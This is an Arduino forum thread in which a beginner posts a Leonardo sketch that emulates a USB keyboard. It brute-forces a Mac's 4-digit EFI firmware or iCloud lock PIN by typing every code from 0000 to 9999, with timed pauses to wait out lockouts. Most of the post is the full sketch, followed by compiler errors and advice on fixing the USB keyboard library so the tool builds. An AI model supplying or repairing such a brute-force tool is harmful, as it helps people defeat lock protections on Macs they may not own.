Re: Revisiting orvtech's EFI Firmware & iCloud unlock for Macs

I’ve made my first attempt using a Leonardo with a SainSmart LCD keypad shield. I had to make the necessary adjustments for the LCD assignments. I’ve made a few corrections to the sketch but I am still receiving errors. I think they are keyboard library related but I could use some verification and help with this.

#include <usb_keyboard.h>
#include <LiquidCrystal.h>
LiquidCrystal lcd(8, 9, 4, 5, 6, 7);

const int ledPin = 13; // choose the pin for the LED
int counter = 0;
//waits for iCloud
int loops = 0;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {

  lcd.begin(16, 2);
  lcd.print("CODE INPUT");
  pinMode(ledPin, OUTPUT); // declare LED as output
  delay(30000);
  Mouse.begin();
}

void loop() {
//lets wait 1 minute and 1 second
    if (loops == 5){
    delay(61000);
  } 
//lets wait 5 minutes and one second
    else if (loops == 6){
    delay(301000);
  }
//lets wait 15 minutes and 1 second
    else if (loops == 7){
    delay(901000);
    loops = 0;
  }
//lets get to work
  if (counter <= 9999){
    delay(1500); // vs (8000)
    digitalWrite(ledPin, LOW);
    Mouse.click();
    delay(800); // vs (5500)
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    //sending first digit
    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    //sending second digit
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    //sending third digit
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    //sending fourth digit
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    //sending return
    Keyboard.press(KEY_RETURN);
    delay(305);
    Keyboard.release(KEY_RETURN);

    lcd.setCursor(0, 1);
    lcd.print(pin[0]);
    lcd.setCursor(1, 1);
    lcd.print(pin[1]);
    lcd.setCursor(2, 1);
    lcd.print(pin[2]);
    lcd.setCursor(3, 1);
    lcd.print(pin[3]);

  }

  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  ++loops;
  fakecounter = counter;
}

The errors (not code) are as follows

Arduino: 1.6.4 (Mac OS X), TD: 1.23, Board: "Arduino Leonardo"

/Users/admin/Documents/Arduino/libraries/usb_keyboard/usb_keyboard.c:92:24: error: variable 'device_descriptor' must be const in order to be put into read-only section by means of '__attribute__((progmem))'
static uint8_t PROGMEM device_descriptor[] = {
                       ^
/Users/admin/Documents/Arduino/libraries/usb_keyboard/usb_keyboard.c:110:24: error: variable 'keyboard_hid_report_desc' must be const in order to be put into read-only section by means of '__attribute__((progmem))'
static uint8_t PROGMEM keyboard_hid_report_desc[] = {
                       ^
/Users/admin/Documents/Arduino/libraries/usb_keyboard/usb_keyboard.c:147:24: error: variable 'config1_descriptor' must be const in order to be put into read-only section by means of '__attribute__((progmem))'
static uint8_t PROGMEM config1_descriptor[CONFIG1_DESC_SIZE] = {
                       ^
/Users/admin/Documents/Arduino/libraries/usb_keyboard/usb_keyboard.c:194:52: error: variable 'string0' must be const in order to be put into read-only section by means of '__attribute__((progmem))'
static struct usb_string_descriptor_struct PROGMEM string0 = {
                                                   ^
/Users/admin/Documents/Arduino/libraries/usb_keyboard/usb_keyboard.c:199:52: error: variable 'string1' must be const in order to be put into read-only section by means of '__attribute__((progmem))'
static struct usb_string_descriptor_struct PROGMEM string1 = {
                                                   ^
/Users/admin/Documents/Arduino/libraries/usb_keyboard/usb_keyboard.c:204:52: error: variable 'string2' must be const in order to be put into read-only section by means of '__attribute__((progmem))'
static struct usb_string_descriptor_struct PROGMEM string2 = {
                                                   ^
/Users/admin/Documents/Arduino/libraries/usb_keyboard/usb_keyboard.c:217:11: error: variable 'descriptor_list' must be const in order to be put into read-only section by means of '__attribute__((progmem))'
} PROGMEM descriptor_list[] = {
          ^
Error compiling.

Any help with this would be appreciated.
Thank you.

The message could hardly be more descriptive: error: variable 'keyboard_hid_report_desc' must be const in order to be put into read-only section by means of 'attribute((progmem))'

So, add const to the declaration.

I appreciate that this may be overwhelmingly obvious to you...However, I don't understand it or know how to correct it - even with your advise. An example would be nice. This post was separated from its original thread by the moderator so you haven't been able to read that I am new to this and completely ignorant to arduino and C.

Thank you for your interest and I look forward to more help with this.

An example would be nice.

static uint8_t PROGMEM device_descriptor[] = {

How many places are there that you could put const? Before static, before uint8_t, before PROGMEM, or before the variable name, How long would it take to try each place?

static const uint8_t PROGMEM device_descriptor[] = {

Thank you again for the reply. You are still assuming a lot. I don't understand the example - does something have to be changed in the library, or to the the sketch? I forget where I downloaded the library from - but it wasn't arduino. I don't know if it works with Leonardo - or if that even matters. Your example showed making additions to the files - it that where the corrections need to be made? If the changes need to be made to the sketch - could you show examples of that? I apologize - I realize I'm in way over my head.

Thanks again.